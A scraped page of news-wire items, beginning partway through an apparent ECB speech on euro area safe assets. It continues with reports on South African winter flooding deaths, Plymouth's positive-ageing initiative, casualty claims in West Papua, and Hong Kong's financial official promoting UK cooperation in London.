    To gain further insight into the recent dynamics of the euro area bond market, it is helpful to look at recent portfolio flow data and bond issuance data. Market data on portfolio flows[13] highlights a repatriation of investment funds in bonds by domestic investors during March, April, and May, contrasting sharply with 2024 trends, while foreign fund inflows into euro area bonds during the same period surpassed the 2024 average (Chart 6). Simultaneously, EUR-denominated bond issuance by non-euro area corporations has surged in 2025, reaching nearly EUR 100 billion year-to-date compared to an average of EUR 32 billion over the same period in the past five years (Chart 7).

    Expanding the pool of safe assets

    These developments (stable bond yields, increased foreign holdings of euro-denominated bonds) have naturally led to renewed interest in the international role of the euro.[14]

    The euro ranks as the second largest reserve currency after the dollar. However, the current design of the euro area financial architecture results in an under-supply of the safe assets that play a special role in investor portfolios.[15] In particular, a safe asset should rise in relative value during stress episodes, thereby providing essential hedging services.

    Since the bund is the highest-rated large-country national bond in the euro area, it serves as the main de facto safe asset but the stock of bunds is too small relative to the size of the euro area or the global financial system to satiate the demand for euro-denominated safe assets. Especially in the context of much smaller and less volatile spreads (as shown in Chart 4), other national bonds also directionally contribute to the stock of safe assets. However, the remaining scope for relative price movements across these bonds means that the overall stock of national bonds does not sufficiently provide safe asset services.

    In principle, common bonds backed by the combined fiscal capacity of the EU member states are capable of providing safe-asset services. However, the current stock of such bonds is simply too small to foster the necessary liquidity and risk management services (derivative markets; repo markets) that are part and parcel of serving as a safe asset.[16]

    There are several ways to expand the stock of common bonds. Just as the Next Generation EU (NGEU) programme was financed by the issuance of common bonds jointly backed by the member states, the member countries could decide to finance investment European-wide public goods through more common debt.[17] From a public finance perspective, it is natural to match European-wide public goods with common debt, in order to align the financing with the area-wide benefits of such public goods. If a multi-year investment programme were announced, the global investor community would recognise that the stock of euro common bonds would climb incrementally over time.

    In addition, in order to meet more quickly and more decisively the rising global demand for euro-denominated safe assets, there are a number of options in generating a larger stock of safe assets from the current stock of national bonds. Recently, Olivier Blanchard and Ángel Ubide have proposed that the “blue bond/red bond” reform be re-examined.[18] Under this approach, each member country would ring fence a dedicated revenue stream (say a certain amount of indirect tax revenues) that could be used to service commonly-issued bonds. In turn, the proceeds of issuing blue bonds would be deployed to purchase a given amount of the national bonds of each participating member state. This mechanism would result in a larger stock of common bonds (blue bonds) and a lower stock of national bonds (red bonds).

    While this type of financial reform was originally proposed during the euro area sovereign debt crisis, the conditions today are far more favourable, especially if the scale of blue bond issuance were to be calibrated in a prudent manner in order to mitigate some of the identified concerns. In particular, the euro area financial architecture is now far more resilient, thanks to the significant institutional reforms that were introduced in the wake of the euro area crisis and the demonstrated track record of financial stability that has characterised Europe over the last decade. The list of reforms include: an increase in the capitalisation of the European banking system; the joint supervision of the banking system through the Single Supervisory Mechanism; the adoption of a comprehensive set of macroprudential measures at national and European levels; the implementation of the Single Resolution Mechanism; the narrowing of fiscal, financial and external imbalances; the fiscal backstops provided by the European Stability Mechanism; the common solidarity shown during the pandemic through the innovative NGEU programme; the demonstrated track record of the ECB in supplying liquidity in the event of market stress; and the expansion of the ECB policy toolkit (TPI, OMT) to address a range of liquidity tail risks. [19] In the context of the sovereign bond market, these reforms have contributed to less volatile and less dispersed bond returns.

    As emphasised in the Blanchard-Ubide proposal, there is an inherent trade off in the issuance of blue bonds. In one direction, a larger stock of blue bonds boosts liquidity and, if a critical mass is attained, also would trigger the fixed-cost investments need to build out ancillary financial products such as derivatives and repos. In the other direction, too-large a stock of blue bonds would require the ringfencing of national tax revenues at a scale that would be excessive in the context of the current European political configuration in which fiscal resources and political decision-making primarily remains at the national level. As emphasised in the Blanchard-Ubide proposal, this trade-off is best navigated by calibrating the stock of blue bonds at an appropriate level.

    In particular, the Blanchard-Ubide proposal gives the example of a stock of blue bonds corresponding to 25 per cent of GDP. Just to illustrate the scale of the required fiscal resources to back this level of issuance: if bond yields were on average in the range of two to four per cent, the servicing of blue bond debt would require ringfenced tax revenues in the range of a half per cent to one per cent of GDP. While this would constitute a significant shift in the current allocation of tax revenues between national and EU levels, this would still leave tax revenues predominantly at the national level (the ratio of tax revenues to GDP in the euro area ranges from around 20 to 40 per cent). The shared payoff would be the reduction in debt servicing costs generated by the safe asset services provided by an expanded stock of common debt.

    An alternative, possibly complementary, approach that could also deliver a larger stock of safe assets from the pool of national bonds is provided by the sovereign bond backed securities (SBBS) proposal.[20] The SBBS proposal envisages that financial intermediaries (whether public or private) could bundle a portfolio of national bonds and issue tranched securities, with the senior slice constituting a highly-safe asset. The SBBS proposal has been extensively studied (I chaired a 2017 ESRB report) and draft enabling legislation has been prepared by the European Commission.[21] Just as with the blue/red bond proposal, sufficient issuance scale would be needed in order to foster the market liquidity needed for the senior bonds to act as highly liquid safe assets.

    In summary, such structural changes in the design of the euro area bond market would foster stronger global demand for euro-denominated safe assets. A comprehensive strategy to expand the international role of the euro and underpin a European savings and investment union should include making progress on this front.

    MIL OSI Europe News –

    June 11, 2025
  • MIL-OSI Africa: Condolences for families who lost loved ones in cold snap

    Source: South Africa News Agency

    President Cyril Ramaphosa has expressed his condolences to the families of the six people who died as a result of severe weather and flooding in the Eastern Cape.

    The province has experienced flooding, windy conditions and snow recently. 

    The President implored communities to take caution as the severe winter conditions persists. 

    “While government discharges its responsibilities and services to citizens, we welcome the support we see at times such as this from businesses, community- and faith-based organisations, charities and organisations such as the National Sea Rescue Institute. I thank everyone from all walks of life who are working to keep all of us safe and comfortable this winter.

    “This is a time where we need to take care of ourselves in our homes and reach out to neighbours and friends who need help of any kind.

    “We also need to exercise caution on our roads when travelling for work or leisure, or as we get out in nature where we may want to see such sights as snowfalls or flooded rivers. We must observe by-laws and regulations that exist to protect us in these conditions,” the President said in his statement on Wednesday.

    Furthermore, the President urged communities to stand together during this time.

    “We must pull together where disaster strikes and while none of us should evade accountability, we must put problem-solving and collaboration ahead of blame and conflict.

    “Our beautiful country is a safe, comfortable, and enjoyable place for all of us for most of the year, but we cannot escape winter’s intensity and our own vulnerability. Let’s show our care for each other this winter and let ubuntu see us through to spring,” President Ramaphosa said. 

    This as the South African Weather Service (SAWS) issued a Level 9 warning for heavy rain and thunderstorms over the eastern half of the Eastern Cape with possible flooding over the OR Tambo District Municipality.

    This as the cut-off low system persists over the interior of the country.

    READ | Eastern Cape residents urged to postpone travel amid warning of heavy rain

    Meanwhile, adverse weather has also affected other parts of the country with the N2 around Kokstad and Port Shepstone having been closed due to snowfall.

    “To save lives, we have decided to close completely the road between Kokstad and Pietermaritzburg as well as the R603 – Tacoma to Reit. Our message to motorists and snow chasers is that prevention is better than cure,” said KwaZulu-Natal MEC for Transport and Human Settlements, Siboniso Duma.

    READ | N2 in KZN closed due to snowfall

    In addition, the Road Traffic Management Corporation (RTMC) has called on motorists to take extra caution when driving on the roads as icy cold weather conditions have gripped the Eastern Cape and KwaZulu-Natal.

    The North West Provincial Government ( NWPG) has urged communities to stay vigilant amid severe weather and strong, fire-spreading winds.

    “Freezing weather is upon us and an increasing dependence on indoor heating techniques like paraffin stoves, heaters and open fires are likely to be the order of the day,” the North West Provincial Government (NWPG) said in a statement.

    READ | Call for caution as severe winter weather increases risk of domestic and veld fires

    Ahead of the start of the icy weather, the Minister of Cooperative Governance and Traditional Affairs (CoGTA), Velenkosini Hlabisa, also called for increased vigilance.

    “This intense cold front is expected to begin over the weekend and affect large parts of the country,” he said in a statement on Friday.

    – SAnews.gov.za

    MIL OSI Africa –

    June 11, 2025
  • MIL-OSI United Kingdom: Plymouth champions positive ageing

    Source: City of Plymouth

    Plymouth City Council is proud to support Age Without Limits Day (11 June) as part of its ongoing Ageing Well programme, a city-wide initiative that celebrates the value of older people and aims to make Plymouth a place where older people are empowered to live life to the fullest.

    This year’s Age Without Limits Day theme is ‘Celebrate Ageing. Challenge Ageism.’ It highlights the need to recognise the diverse experiences of growing older and to confront the everyday ageism that too often goes unnoticed, from patronising language to assumptions about capability.

    More than a third of Plymouth’s population is aged 50 and over. The city’s Ageing Well programme envisions Plymouth as one of Europe’s most vibrant waterfront cities, where everyone is supported and age should not be a barrier to living a full and active life.

    Councillor Mary Aspinall, Cabinet Member for Health and Adult Social Care, said: “Ageing is something we all experience, so it’s in everyone’s interest to ensure our city supports people to thrive at every stage of life.

    “Older people make enormous contributions to our communities as employees, volunteers, carers and neighbours. Age Without Limits Day is an important reminder that ageing is something to be celebrated, not feared. Let’s challenge the stereotypes and build a city where everyone, regardless of age, feels valued and included.”

    Plymouth is already home to a wealth of opportunities that support healthy and active ageing. Residents are encouraged to visit the Council’s online Ageing Well Hub for more information about:

    • Age Friendly places and spaces
    • Help and advice
    • Employment, skills and volunteering opportunities
    • Travel
    • Health and wellbeing.

    Visit the Ageing Well Hub at: www.plymouth.gov.uk/ageing-well-hub.

    For more information about Age Without Limits, visit: https://www.agewithoutlimits.org.

    MIL OSI United Kingdom –

    June 11, 2025
  • MIL-Evening Report: More deaths reported out of Sugapa in West Papua clashes with military

    By Caleb Fotheringham, RNZ Pacific journalist

    Further reports of civilian casualties are coming out of West Papua, while clashes between Indonesia’s military and the armed wing of the Free Papua Movement continue.

    One of the most recent military operations took place in the early morning of May 14 in Sugapa District, Intan Jaya in Central Papua.

    Military spokesperson Lieutenant-Colonel Iwan Dwi Prihartono said in a video statement translated into English that 18 members of the West Papua National Liberation Army (TPNPB) had been killed.

    He claimed the military wanted to provide health services and education to residents in villages in Intan Jaya but they were confronted by the TPNPB.

    Colonel Prihartono said the military confiscated an AK47, homemade weapons, ammunition, bows and arrows and the Morning Star flag — used as a symbol for West Papuan independence.

    But, according to the TPNPB, only three of the group’s soldiers were killed with the rest being civilians.

    The United Liberation Movement for West Papua (ULMWP) said civilians killed included a 75-year-old, two women and a child.

    Both women in shallow graves
    Both the women were allegedly found on May 23 in shallow graves.

    A spokesperson from the Indonesian Embassy in Wellington said all 18 people killed were part of the TPNPB, as declared by the military.

    “The local regent of Intan Jaya has checked for the victims at their home and hospitals; therefore, he can confirm that the 18 victims were in fact all members of the armed criminal group,” they said.

    “The difference in numbers of victim sometimes happens because the armed criminal group tried to downplay their casualties or to try to create confusion.”

    The spokesperson said the military operation was carried out because local authorities “followed up upon complaints and reports from local communities that were terrified and terrorised by the armed criminal group”.

    Jakarta-based Human Rights Watch researcher Andreas Harsono said it was part of the wider Operation Habema which started last year.

    “It is a military operation to ‘eliminate’ the Free Papua guerilla fighters, not only in Intan Jaya, but in several agencies along the central highlands,” Harsono said.

    ‘Military informers’
    He said it had been intensifying since the TPNPB killed 17 miners in April, which the armed group accused of being “military informers”.

    RNZ Pacific has been sent photos of people who have been allegedly killed or injured in the May 14 assault, while others have been shared by ULMWP.

    Harsono said despite the photos and videos it was hard to verify if civilians had been killed.

    He said Indonesia claimed civilian casualties — including of the women who were allegedly buried in shallow graves — were a result of the TPNPB.

    “The TPNPB says, ‘of course, it is a lie why should we kill an indigenous woman?’ Well, you know, it is difficult to verify which one is correct, because they’re fighting the battle [in a very remote area],” Harsono said.

    “It’s difficult to cross-check whatever information coming from there, including the fact that it is difficult to get big videos or big photos from the area with the metadata.”

    Harsono said Indonesia was now using drones to fight the TPNPB.

    “This is something new; I think it will change the security situation, the battle situation in West Papua.

    “So far the TPNPB has not used drones; they are still struggling. In fact, most of them are still using bows and arrows in the conflict with the Indonesian military.”

    This article is republished under a community partnership agreement with RNZ.

    MIL OSI Analysis – EveningReport.nz –

    June 11, 2025
  • MIL-OSI Asia-Pac: SFST showcases to UK community Hong Kong’s determination to expand international financial co-operation (with photos)

    Source: Hong Kong Government special administrative region

    The Secretary for Financial Services and the Treasury, Mr Christopher Hui, said on June 10 (London time) during his visit to London, the United Kingdom (UK), that Hong Kong is at the forefront of global finance and the digital asset revolution. The city shares the same vision and has complementary expertise with the UK, allowing the two places to drive transformative economic growth through partnership in an era of innovation and sustainablity.
     
    Speaking at a luncheon held by the Hong Kong Association of the UK on June 10 (London time), Mr Hui highlighted Hong Kong’s commitment to three key pillars, namely the 3Es that define the city’s strategic vision as a premier international financial centre. The 3Es refer to extending financial value chain across equities, fixed income, currencies and commodities; embracing fintech and green finance; and enhancing opportunities for Chinese and international businesses.
     
    He said Hong Kong’s ability to offer a diversified, resilient and innovative financial ecosystem and the Government’s determination to extend the financial value chain are creating a robust development platform that serves both regional and international markets. The vibrant capital markets in Hong Kong, driven by geopolitical developments and the Mainland’s technological advancements, are also offering global investors, including those from the UK, a gateway and access to invest in Asia’s burgeoning tech sector by leveraging Hong Kong’s deep market liquidity and robust regulatory framework.
     
    While mentioning the UK’s expertise in commodities trading, Mr Hui remarked that Hong Kong’s integration into the London Metal Exchange’s global warehouse network in January this year not only enhances Hong Kong’s commodities infrastructure but also creates significant opportunities for UK firms. Riding on Hong Kong’s proximity to Asia’s industrial markets, Hong Kong can partner with the UK to jointly tap into the growing demand for new-energy metals and support global industrial transformation and sustainable development.
     
    Among the highlights of the UK leg was the signing of a memorandum of understanding (MOU) between the Financial Services Development Council (FSDC) and TheCityUK to establish a partnership in sharing insights and best practices to advance transition finance, collaborating on workforce development to address evolving market requirements, as well as establishing a framework to conduct an annual review to assess progress in collaboration and explore new opportunities. The MOU was signed by the Executive Director of the FSDC, Dr King Au, and the Managing Director of Public Affairs, Policy and Research of TheCityUK, Mr John Godfrey.
     
    Mr Hui, together with the Leadership Council Chair of TheCityUK, Mr Bruce Carnegie-Brown, witnessed the signing of the MOU on June 10 (London time). Mr Hui said that the MOU reflects a shared vision to harness the strengths of Hong Kong and the UK, creating opportunities that benefit both places and the global financial ecosystem.
     
    Prior to the signing ceremony, Mr Hui had a roundtable meeting with members of the TheCityUK, which represents an industry contributing over 12 per cent of the UK’s economic output and employing nearly 2.5 million people in financial and related professions. Mr Hui said that investors nowadays are gravitating towards markets that provide clarity, consistency and credibility, which are qualities that Hong Kong embodies in abundance. Moreover, Hong Kong continues to uphold the mission of striking a balance between innovation and investor protection through its regulatory framework in the process of integrating traditional financial services with innovative digital asset technologies for facilitating real economy activities. All in all, Hong Kong is an ideal partner for the UK to work with in unlocking horizons for growth and prosperity, especially in areas of wealth management and digital assets.
     
    Earlier in the day, Mr Hui had a bilateral meeting with the Lord Mayor of the City of London, Mr Alderman Alastair King, to update him on Hong Kong’s latest developments on the financial services front, which benefit from the unique convergence of global and Mainland advantages. He also met with the Chief Markets Officer of PwC UK, Mr Carl Sizer, to discuss the role the auditing and accounting profession can play to support Mainland enterprises going global.
     
    In the morning of June 9 (London time), Mr Hui attended a members briefing of a British independent think-tank, Asia House, to enlighten its members on the latest financial developments of Hong Kong as well as the Greater Bay Area at large. In a Q&A session moderated by the Chief Executive of Asia House, Mr Michael Lawrence, Mr Hui responded to members’ questions about Hong Kong’s financial outlook. The members were particularly interested in Hong Kong’s connectivity with international markets and the city’s fintech development.
     
    Mr Hui told the members that Hong Kong has been experiencing a flourishing financial market amid the challenging global financial landscape. The securities market of Hong Kong recorded an average daily turnover of US$31 billion for the first five months of 2025, a year-on-year increase of 120 per cent. The Government is also taking bold moves to boost fintech development, such as introducing the Stablecoins Ordinance which is scheduled to be enacted this August.
     
    During a lunch meeting with representatives of the ICBC Standard Bank on the same day, Mr Hui introduced to its Chief Executive Officer, Mr Wang Wenbin, and other senior management, the international gold trading market and commodity trading ecosystem that Hong Kong is shaping. Both parties had a very productive discussion about the vast potential that Hong Kong may bring about. The bank serves as a global banking platform for commodities, fixed income and currency products for clients.
     
    In the afternoon, Mr Hui met with the Economic Secretary to the Treasury of the UK, Ms Emma Reynolds, and other financial officials to reinforce the financial partnership between the two leading international financial centres. At the meeting, he gave them an update on the latest situation of capital markets in Hong Kong.
     
    Mr Hui also paid a courtesy call on Minister of the Chinese Embassy in the United Kingdom Mr Wang Qi.
     
    After concluding the UK leg, Mr Hui proceeded to Oslo, Norway, on June 11 (London time) to continue his visit.

                                          

    MIL OSI Asia Pacific News –

    June 11, 2025
  • MIL-OSI Asia-Pac: SFST’s speech at Hong Kong Association Membership Luncheon in London, United Kingdom (English only) (with photos)

    Source: Hong Kong Government special administrative region

    SFST’s speech at Hong Kong Association Membership Luncheon in London, United Kingdom (English only)  
    Lord Mayor (696th Lord Mayor of the City of London, Mr Alderman Alastair King), Sir Douglas (Committee Member of the Hong Kong Association, Chairman of Aberdeen Group, Sir Douglas Flint), distinguished guests, esteemed members of the Hong Kong Association, ladies and gentlemen,
     
         Good afternoon. It is a profound privilege to address you today at this distinguished luncheon hosted by the Hong Kong Association in London. I must say, you are a crowd too difficult to please because you know Hong Kong too well. This organisation’s mission is to champion the enduring business and trading relationship between Hong Kong and the UK which resonates deeply with the Government’s goal of fostering economic collaboration, innovation, and mutual prosperity. To further the efforts, I am here to showcase our city’s unparalleled strengths as a global financial hub and to explore the vast potential for deepening financial co-operation between Hong Kong and the UK. Our shared visions and complementary expertise position us well to forge a partnership that drives transformative growth in an increasingly challenging and also uncertain global economy.
     
         If you may recall, for those people who came two years ago for a similar occasion where I spoke, I tried to group my speech in five alphabet letters, ABCDE. A is about Asia, B is about business as usual, C is about connectivity, D is about digitalisation whereas E is about ESG (environmental, social and governance). These are the five elements at the time I drafted the speech that something Hong Kong could offer to this part of the world. So I am thinking, to this group which is very knowledgeable about Hong Kong, what should I say and how I should structure this speech? Of course I don’t want to get to the next alphabet letter after E, that is why I would stay at E and come with 3Es which are actually the pillars that define Hong Kong’s strategic vision as a premier international financial centre: 1) Extending our financial value chain across equities, fixed income, currencies, and commodities. For those in the banking or financial world, you know what I mean. It’s about EFICC; 2) Embracing new finance through fintech and green finance; and 3) Enhancing offerings for Chinese companies going global through Hong Kong and international firms accessing the Mainland market. These pillars reflect our dynamic approach to navigating global economic and geopolitical challenges, seizing emerging opportunities, and fostering collaboration with partners like the UK. Let me elaborate on each pillar, highlighting our recent achievements and the opportunities they present for strengthening Hong Kong-UK ties.
     
    Extending our financial value chain
     
         Hong Kong’s position as a global financial hub is built on its ability to offer a diversified, resilient, and innovative financial ecosystem. By extending our financial value chain across equities, fixed income, currencies, and commodities which can be grouped as EFICC, we are creating a robust platform that serves both regional and international markets, fostering opportunities for collaboration with global partners, including the UK.
     
    Equities: a vibrant and forward-looking market
     
         Hong Kong’s equity market has undergone a remarkable transformation over the past decade, driven by bold structural reforms and a commitment to capturing global economic trends. The Hang Seng Index, which is a key barometer of our market’s performance, has demonstrated resilience amid global uncertainties. By May 30, our stock market capitalisation has increased by 24 per cent year on year to over US$5.2 trillion. This growth was propelled, I must say, by a number of key moments this year, including of course the DeepSeek moment when people really recalibrate the value that Chinese investment carry and at the same time also the “victory day” moment when people are seeing the uncertainty in other parts of the world which actually present opportunities to Hong Kong and London. The average daily turnover for the first five months of this year stood at US$31 billion in our market, an increase of 1.2 times over the past year, signaling sustained investor confidence and market liquidity.
     
         Apart from the market performance, we are also trying to reform our capital market to make it more instrumental in positioning Hong Kong as a global hub for new economy and technology companies. Back in 2018, we already introduced the “weighted voting rights” regime, enabling companies with dual-class share structures to list in Hong Kong. As I know, London Stock Exchange is also contemplating something similar to reform your stock market. This reform in Hong Kong attracted technology giants and paved the way for a new era of innovation-driven listings. Simultaneously, we opened our market to pre-revenue biotech firms, transforming Hong Kong into one of the world’s leading fundraising hubs for biotechnology. As a result, the proportion of new economy companies in our stock market has surged from 1.3 per cent in 2018 to approximately 14 per cent by April 2025, with their market capitalisation share rising from 2.8 per cent to about 28 per cent.
     
         Building on this momentum, we introduced the “18C” listing regime in 2023 for specialist technology companies, followed by a dedicated technology enterprises channel launched last month. These initiatives are designed to accelerate the listing of enterprises in the “hard technology” space, enabling them to raise capital in Hong Kong and expand their international presence. These reforms have not only reshaped the structure of our stock market but also aligned it with global economic trends, positioning Hong Kong as a vital partner for UK firms seeking exposure to Asia’s innovation-driven growth.
     
         Moreover, Hong Kong’s capital markets have benefited from the return of Chinese concept stocks, driven by geopolitical developments and Mainland China’s technological advancements. This trend has elevated the weight of technology stocks in our market, further enhancing its attractiveness to global investors. For example, before I came, we welcomed the listing of CATL (Contemporary Amperex Technology Co Limited) which is a major lithium-ion battery manufacturing company serving the world for electric vehicles. For UK financial institutions, Hong Kong offers a gateway to invest in Asia’s burgeoning tech sector, leveraging our deep liquidity and robust regulatory framework.
     
    Connectivity and stability
     
         Apart from fundraising, it’s about our strengthened role as a gateway for international investors accessing Mainland China and for Mainland investors diversifying globally. Our “Connect” schemes – Stock Connect, Bond Connect, Wealth Management Connect, and Swap Connect – have facilitated seamless cross-border capital flows. These initiatives have seen significant growth in transaction volumes, product diversity, and risk management capabilities, enhancing both the “quantity” and “quality” of financial connectivity, covering the broad financial value chain across equities, fixed income and currencies.
     
         Stability is also a cornerstone of our financial system, as demonstrated by the performance of the Hong Kong dollar recently. In the first five months of 2025, the Hong Kong dollar largely traded within the strong-side convertibility undertaking range, signifying a robust demand, partly because a lot of money coming to Hong Kong to buy our IPOs (initial public offerings) which are in Hong Kong dollars, and at the same time it is now the season when the listed companies need Hong Kong dollars to give out dividends. So with this background, what we see is operations by our banking regulator where now the banking system aggregate balances rising to US$22 billion by May 30, 2025, a substantial increase from US$5.7 billion at the end of last year. Total bank deposits grew by over 4 per cent in the first four months of 2025, with Hong Kong dollar deposits rising by 4.4 per cent, reflecting strong capital inflows into our banking system. So you have been hearing a lot about capital flight from Hong Kong to others, all these numbers are testaments to how wrong those perceptions are. This stability underscores our role as a trusted financial hub, like that of London, offering a secure environment for UK investors and businesses.
     
         Amid global economic uncertainties, including trade protectionism and unilateral policies, RMB (Renminbi) is gaining prominence as a global transaction and reserve currency. Its share in global payments rose from 2 per cent in 2020 to 4 per cent by the end of 2024, ranking fourth globally, while its share in trade financing increased from 2 per cent to 6 per cent. As the world’s leading offshore RMB hub, Hong Kong is seizing this opportunity by enhancing RMB-denominated investment products and risk management tools. Our plan to integrate RMB-denominated stock trading into Southbound Stock Connect will further support RMB internationalisation in a gradual and prudent manner, creating opportunities for UK financial institutions to engage with RMB-based products and services.
     
    Commodities: pioneering a new ecosystem with LME integration
     
         In the commodities sector, Hong Kong is capitalising on the global surge in non-ferrous metals trading, driven by the transition to new energy technologies. In 2024, the London Metal Exchange (LME) recorded trading volumes of 178 million lots, a 20 per cent year-on-year increase, with significant growth in new-energy metals like nickel and cobalt. These metals are critical to industrial transformation and technological advancement, and China remains a pivotal force, with non-ferrous metals trade exceeding US$368 billion in 2024, up 11 per cent from the previous year.
     
         Recognising this potential, our Chief Executive outlined a vision in his Policy Address to create a commodity trading ecosystem in Hong Kong, encompassing warehousing, distribution, trading, testing, certification, insurance, and financial services. A landmark achievement in this regard is our integration into the LME’s global warehouse network in January this year. By bringing storage facilities closer to Mainland China’s industrial heartlands and consumption centres, we are strengthening our role as a central platform for the metals industry. Within months since January this year when we are recognised as a delivery port for the LME contracts, seven warehouses have already been approved, and their operations will commence as early as in July 2025.
     
         This initiative not only enhances Hong Kong’s commodities infrastructure but also creates significant opportunities for UK firms, given the LME’s London-based heritage. The UK’s expertise in commodities trading and Hong Kong’s proximity to Asia’s industrial markets make our partnership a natural fit. By collaborating on warehousing, trading, and related services, we can jointly tap into the growing demand for new-energy metals, supporting global industrial transformation and sustainable development.
     
         By extending our financial value chain across equities, fixed income, currencies, and commodities, Hong Kong is reinforcing its position as a diversified financial hub. We invite UK businesses to leverage our platform to access Asia’s dynamic markets, fostering mutual growth and collaboration in these critical sectors.
     
    Embracing new finance: fintech and green finance
     
         The second pillar of our strategy is embracing new finance, particularly in fintech and green finance, to position Hong Kong at the forefront of financial innovation and sustainability. These areas align closely with the UK’s developments in digital finance and sustainable investments, creating fertile ground for partnership.
     
    Fintech: pioneering digital assets and stablecoin regulation
     
         Hong Kong’s robust regulatory framework, business-friendly environment, and strategic location make it an ideal hub for fintech innovation. My bureau, FSTB (Financial Services and the Treasury Bureau), in collaboration with financial regulators and industry stakeholders, is pursuing a multipronged strategy to foster a vibrant fintech ecosystem. This includes enhancing financial infrastructures, nurturing talent, strengthening industry connections in Mainland China and overseas, and creating a conducive environment for fintech innovation.
     
         This is my second day here in London and I am hearing a lot about digital assets (DAs). Just days before I embarked on this trip, our Legislative Council has passed the Stablecoins legislation in Hong Kong and it will be enacted on August 1. After that, we will issue a second policy statement about promoting Hong Kong as the digital asset ecosystem.
     
         Looking ahead, we will continue to be a leader in adopting emerging technologies. A 2023 survey revealed that 38 per cent of Hong Kong’s financial institutions adopted generative AI, surpassing the global average of 26 per cent. In October last year, we issued a policy statement on the responsible use of AI in finance, followed by practical guidelines, sandbox schemes, and industry seminars to support institutions in adopting AI responsibly. These initiatives position Hong Kong as a hub for fintech innovation, complementing the UK’s advancements in areas like blockchain and AI-driven financial services.
     
    Green finance: driving sustainable development
     
         Moving on to green finance, Hong Kong is committed to mobilising cross-border investments to address climate and sustainability challenges, aligning with global efforts to achieve net zero. Last year, Hong Kong arranged US$43 billion in green and sustainable bonds, capturing 45 per cent of the Asian market and ranking first in the region for seven consecutive years. By March this year, our security regulator authorised around 220 ESG funds, managing US$140 billion in assets, an 80 per cent increase over three years.
     
         Last week we have just issued a new round of Government green bonds and infrastructure bonds, totally around US$3.5 billion, denominated in four currencies, namely HKD (Hong Kong dollars), RMB, USD (US dollars) and EUR (euro). The offering attracted participation from a wide spectrum of investors from more than 30 markets across Asia, Europe, Middle East, and the Americas, with total orders amounting around US$30 billion equivalent, representing an over-subscription of almost nine times. The proceeds from green bond issuance will fund local Government green works projects, and set benchmarks for the market encouraging private-sector participation.
     
         To align with global standards, we launched the Roadmap on Sustainability Disclosure in December last year, providing a clear path for large publicly accountable entities to adopt the International Financial Reporting Standards – Sustainability Disclosure Standards (ISSB Standards) by 2028. This positions Hong Kong among the first jurisdictions to align with global sustainability reporting standards, enhancing transparency and comparability. The roadmap not only reflects our commitment to the global green transition but also offers clarity and guidance to market participants.
     
         On the funding support side, the Green and Sustainable Finance Grant Scheme, which was extended to 2027, subsidises issuance costs for bonds and loans, including transition financing, encouraging industries across the Greater Bay Area and Belt and Road economies to leverage Hong Kong’s platform for low-carbon transitions. So for many of you who are working for business financial institutions or companies, do take this message home that we are subsidising for people who are issuing green bonds and loans in Hong Kong.
     
         These efforts create significant opportunities for UK firms to collaborate with Hong Kong on green finance initiatives, from ESG funds to green technology solutions, leveraging our shared commitment to sustainability and innovation. The UK’s commitment in green finance, combined with Hong Kong’s strategic position in Asia, can drive impactful partnerships in sustainable investment and technology.
     
    Enhancing offerings for global and Mainland businesses
     
         The third pillar, enhancing offerings, underscores Hong Kong’s role as a bridge for Chinese companies going global and international firms accessing Mainland China, supported by policies that facilitate cross-border mobility and business expansion.
     
    Supporting Chinese companies going global
     
         As Mainland China accelerates its economic opening, Chinese firms are intensifying their global expansion, optimising supply chains and market presence to address geopolitical risks and tap into international markets. Hong Kong is uniquely positioned to support this “going out” strategy, offering financing, supply chain management, and professional services under the “one country, two systems” framework.
     
         Hong Kong’s efforts to strengthen ties with emerging markets further enhance our appeal. In October last year, we facilitated the listing of two Hong Kong-focused exchange-traded funds on the Saudi Exchange, attracting Middle Eastern capital to our markets. The two Saudi-listed ETFs have a combined size of over US$1.9 billion. They are the two largest ETFs listed and are amongst the top traded ETFs on Saudi Stock Exchange. This initiative demonstrates our commitment to connecting traditional and emerging markets, offering UK firms a platform to diversify their investments across Asia and beyond.
     
         Hong Kong’s professional services, for example the Accounting sector, are well-positioned and experienced to meet the needs of Mainland firms going global. The Hong Kong Institute of Certified Public Accountants has earlier compiled a list of firms specialising in supporting global expansion of Chinese companies, and has recently expanded the list from 60 to over 80 firms, connecting Mainland enterprises with international markets for business expansion. Moreover, Hong Kong’s network of 52 Comprehensive Double Taxation Agreements with other tax jurisdictions, with plans for further expansion, provides tax clarity for businesses, enhancing Hong Kong’s appeal as a commercial and investment hub.
     
         UK firms can partner with Hong Kong to support Chinese companies’ international ventures, leveraging our expertise in financing, legal services, and market access. For example, UK financial institutions can collaborate with Hong Kong-based firms to provide advisory services, underwriting, and risk management solutions for Chinese enterprises expanding into Europe and beyond.
     
    Facilitating international access to the Mainland
     
         Hong Kong is equally committed to helping international talents, including those from the UK, access Mainland China’s vast market. A facilitating policy introduced in July last year allows non-Chinese Hong Kong permanent residents to obtain a card???type document with five-year validity. This card enables self-service clearance at Mainland control points without going through manual channels, eliminating the need for arrival cards and significantly enhancing clearance efficiency. This measure, implemented under the “one country, two systems” framework, facilitates business, travel, and family visits, reinforcing Hong Kong’s role as a gateway to the Mainland.
     
         Hong Kong’s professional services, with deep knowledge of Mainland business culture and international expertise, provide comprehensive support for UK firms navigating China’s market. From legal and accounting services to supply chain management, Hong Kong offers a trusted platform for UK companies to establish and grow their presence in Asia.
     
    Hong Kong-UK financial co-operation
     
         The complementary strengths between the two markets of Hong Kong and UK create a strong foundation for collaboration. The integration of Hong Kong into the LME’s warehouse network opens new avenues for UK firms to engage with Asia’s commodities markets, particularly in new-energy metals critical to the global energy transition. Our leadership in green finance aligns with the UK’s expertise in sustainable investments, creating opportunities for joint ventures in ESG funds, carbon trading, and green fintech. In fintech, Hong Kong’s progressive DA regulations complement the UK’s advancements in digital finance, paving the way for collaborative innovation in areas like blockchain, AI, and stablecoins.
     
         By leveraging Hong Kong’s strengths in extending our financial value chain, embracing new finance, and enhancing global and Mainland connectivity, we invite UK businesses to partner with us in tapping Asia’s growth opportunities. Our shared commitment to innovation, sustainability, and global connectivity positions us to build a future of mutual prosperity.
     
    Conclusion
     
         Ladies and gentlemen, Hong Kong stands at the forefront of global finance, driven by our commitment to the 3Es: Extending our financial value chain across equities, fixed income, currencies, and commodities; Embracing fintech and green finance; and Enhancing opportunities for Chinese and international businesses. Our unique position under “one country, two systems,” robust regulatory framework, and vibrant markets make Hong Kong the ideal partner for the UK in navigating Asia’s dynamic markets.
     
